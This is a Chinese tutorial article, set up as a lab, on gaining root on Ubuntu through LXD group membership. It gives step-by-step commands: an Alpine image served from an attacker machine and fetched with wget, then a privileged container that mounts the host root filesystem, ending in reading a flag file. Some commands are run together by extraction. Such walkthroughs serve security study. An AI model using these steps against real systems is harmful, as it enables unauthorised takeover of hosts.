使用LXD怎么实现权限提升功能

发布时间:2021-08-10 16:04:44 作者:Leah
来源:亿速云 阅读:183

使用LXD怎么实现权限提升功能,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

LXD和LXC

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

容器技术

所谓的容器技术,也就是在主机操作系统中创建一个隔离的环境,以允许某个进程或应用程序在一个不影响主操作系统以及其他进程的环境下运行。

使用LXD怎么实现权限提升功能

技术实现要求

目标主机系统:Ubuntu v18.04

攻击者设备:Kali Linux或其他设备

直奔主题

接下来,我们开始操作!   

大家可以看到,我们已经在主机设备中创建好了一个名叫“raj”的本地用户账号:

使用LXD怎么实现权限提升功能

LXD安装与配置

执行下列命令完成LXD的安装:

apt install lxd

使用LXD怎么实现权限提升功能 

当然了,你还需要为LXD安装一些依赖组件:

apt install zfsutils-linux

使用LXD怎么实现权限提升功能 

接下来,配置“raj”用户账号,将“raj”添加进LXD组中,执行下列命令:

usermod --append --groups lxd raj

使用LXD怎么实现权限提升功能

验证用户“raj”是否已是LXD组的成员:

使用LXD怎么实现权限提升功能

现在我们需要配置LXD,我们可以使用命令“lxd init”来开启LXD初始化进程。在初始化的过程中,程序将会要用户选择某些配置选项,其中的大多数选项都可以直接使用默认配置。不过在后端存储选项中,我们需要选择“dir”,而不要选择“zfs”。

使用LXD怎么实现权限提升功能

配置好LXD之后,你需要使用LXC创建一个容器。这里我们为“Ubuntu:18.04”创建了一个容器,并命名为了“intimate-seasnail”。配置完成之后,我们可以使用lxc list命令来查看所有可用的容器:

lxc launch ubuntu:18.04lxc list

使用lxc exec命令即可与容器建立连接,该命令需要提供目标容器名称:

lxc exec intimate-seasnail -- /bin/bash

进入容器之后,命令行终端的Shell界面如下:

权限提升

利用LXD来实现提权需要我们能够访问目标设备的本地账号,因此我们选择使用SSH来连接并访问目标设备的本地账号。 这里需要注意的是,我们的目标用户账号必须是LXD组的组成员。

ssh raj@192.168.1.105

使用LXD怎么实现权限提升功能

为了将我们的用户账号提升为root权限,我们还需要为LXD创建一个镜像文件,操作步骤如下:

首先,攻击者需要在自己设备上进行如下操作:

1、通过git将构建好的alpine镜像克隆至本地;

2、执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;

3、将tar文件发送至目标设备;

接下来,我们需要在目标设备上进行如下操作:

1、下载Alpine镜像;

2、为LXD导入镜像;

3、在新的容器环境中初始化镜像;

4、在/root目录中加载容器;

那么接下来,我们先从GitHub库下载构建好的Alpine:

git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine


使用LXD怎么实现权限提升功能

运行完上述命令之后,会在当前目录下创建一个tar.gz文件,之后我们需要将其发送至目标系统:

python -m SimpleHTTPServer

使用LXD怎么实现权限提升功能

另一方面,我们还需要将alpine镜像发送至目标系统的/tmp目录中:

cd /tmpwget http://192.168.1.107:8000/apline-v3.10-x86_64-20191008_1227.tar.gz

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了:

lxc image import ./apline-v3.10-x86_64-20191008_1227.tar.gz --alias myimage

使用“list”命令即可检查可用的容器列表:

lxc image list

使用LXD怎么实现权限提升功能

lxc init myimage ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/shId

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源,我们可以尝试枚举或搜索flag文件:

mnt/root/rootlsflag.txtcat flag.txt

使用LXD怎么实现权限提升功能

关于使用LXD怎么实现权限提升功能问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。

推荐阅读:
  1. 【API】Windows 程序提升权限函数
  2. 使用docker命令时需要使用sudo提升权限吗

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

lxd

上一篇:Windows 中怎么使用Sandbox保持保障自身安全

下一篇:LeakCanary中怎么检测 Activity 是否泄漏

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》